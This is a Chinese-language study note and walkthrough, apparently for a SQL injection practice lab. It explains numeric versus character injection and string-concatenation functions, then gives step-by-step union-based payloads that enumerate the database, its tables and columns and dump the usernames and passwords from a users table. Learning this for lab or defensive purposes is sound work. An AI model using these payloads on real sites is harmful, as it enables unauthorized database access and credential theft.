知识点:
明白数值注入和字符注入的区别
- 数值注入:通过数字运算判断,1/0 1/1
- 字符注入:通过引号进行判断,奇数个和偶数个单引号进行识别
联合查询:union 或者 union all
- 需要满足字段数一致,否则报错
- 将输入数据和查询数据进行格式整合然后输出
group_concat()
- group_concat( [distinct] 要连接的字段 [order by 排序字段 asc/desc ] [separator '分隔符'] )
- []中内容为可选内容
- distinct:去重
- 将多个字符串凭借成一个字符串,默认分隔符为逗号
concat()
- 将多个字符串拼接成一个字符串
- 没有分隔符
concat_ws(分隔符,字符串)
- 将多个字符串拼接成一个字符串
- 可以设定分隔符,第一个变量为分隔符数据
第一步 测试是否存在sql注入点
利用bp进行抓包测试发现存在sql注入;
构造id=2' 发现数据库报错,但是id=2'' 却不报错;这里应该存在字符型sql注入;
而且查询语句应该是 select 1,2,3 from 表名 where id = '输入信息' limit 0,1
1,2,3表示字段名;应该是2个或3个字段;
第二步 测试注入点的查询规则
既然知道了这里存在注入点下面就开始对它进行注入
构造payload:id=0'+or+1=1--+
发现只返回了一条数据;应该是输出格式限制了;只能显示一条数据
构造payload:id=0'+or+1=0--+
发现什么也没有;这说明条件为假时返回为空
第三步 测试原语句中的查询字段数
好了,整体的查询语句应该就是我上面写的那个;字段数不确定,现在测试一下查询的字段数;
构造payload:id=0'+union+select+1+--+
发现提示字段数量不对
猜测字段数量为3
构造payload:id=0'+union+select+1,2,3+--+
成功出结果了;说明原查询语句中字段数为3;而且输入信息被打印出来了;
有回显说明可以直接查询到一些关键信息,不用再bp爆破了
第四步 利用联合查询查找数据库名和版本信息
构造payload:id=0'+union+select+1,database(),version()+--+
界面显示除了数据库名字和版本信息
第五步 查询指定数据库下的表信息
接下来开始查询数据库下面有几张表
构造payload:id=0'+union+select+1,2,group_concat(table_name)+from+information_schema.tables+where+table_schema='security'+--+
第六步 查询表中的字段信息
发现有一张表为users;这应该是用户表;存放用户的相关信息;那就找一下这张表的字段名有哪些吧
构造payload: id=0'+union+select+1,2,group_concat(column_name)+from+information_schema.columns+where+table_name='users'+--+
发现输出了一堆字段名;里面有username和password字段;这应该是比较关键的信息;
第七步 查询指定字段的数据
查询users表中的username和password的信息;
构造payload:id=0'+union+select+1,2,group_concat('*',username,':',password)+from+users+--+
用户名和密码信息都被打印出来了
10